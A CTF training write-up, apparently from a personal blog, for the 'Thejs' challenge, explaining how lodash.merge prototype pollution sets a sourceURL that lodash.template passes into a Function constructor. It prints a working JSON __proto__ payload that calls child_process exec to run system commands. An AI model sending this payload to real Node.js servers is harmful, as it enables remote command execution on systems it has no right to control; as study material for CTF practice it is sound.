寒假training-3
Thejs
参考:
https://www.freebuf.com/vuls/363700.html
https://blog.csdn.net/xk2844600795/article/details/132073747
源码
1 | app.engine('ejs', function (filePath, options, callback) { // define the template engine |
1、lodash.merge 函数存在原型链污染漏洞
2、lodash.template 源码
option 对象原本是没有 sourceURL 属性,
sourceURL = ‘’
可以通过原型链污染给源头 object 对象加上一个 sourceURL 属性,此时
sourceURL = '//# sourceURL=' + option.sourceURL + '\n'
Function 构造器 、 apply 方法
执行 Function 的第二个参数
通过题目源码可知,可以在 POST 提交的 body 中加上想要的__proto__
,从而在定义模板引擎时执行代码
payload
1 | sourceURL = '//# sourceURL=' + option.sourceURL + '\n' |
在
Nodejs
中child_process
中调用的是/bash.sh,是一个bash解释器,可以执行系统命令,构造require('child_process').exec(xxx)
执行命令。如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用
global.process.mainModule.constructor._load('child_process').exec('calc')
来执行命令。
1 | {"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('xxx')//"}} |
又为了让__proto__
解析为键名,需要以 JSON 的形式发送
- Title: 寒假training-3
- Author: dawn_r1sing
- Created at : 2024-04-07 11:09:33
- Updated at : 2024-04-07 11:09:53
- Link: https://dawnrisingdong.github.io/2024/04/07/寒假training-3/
- License: This work is licensed under CC BY-NC-SA 4.0.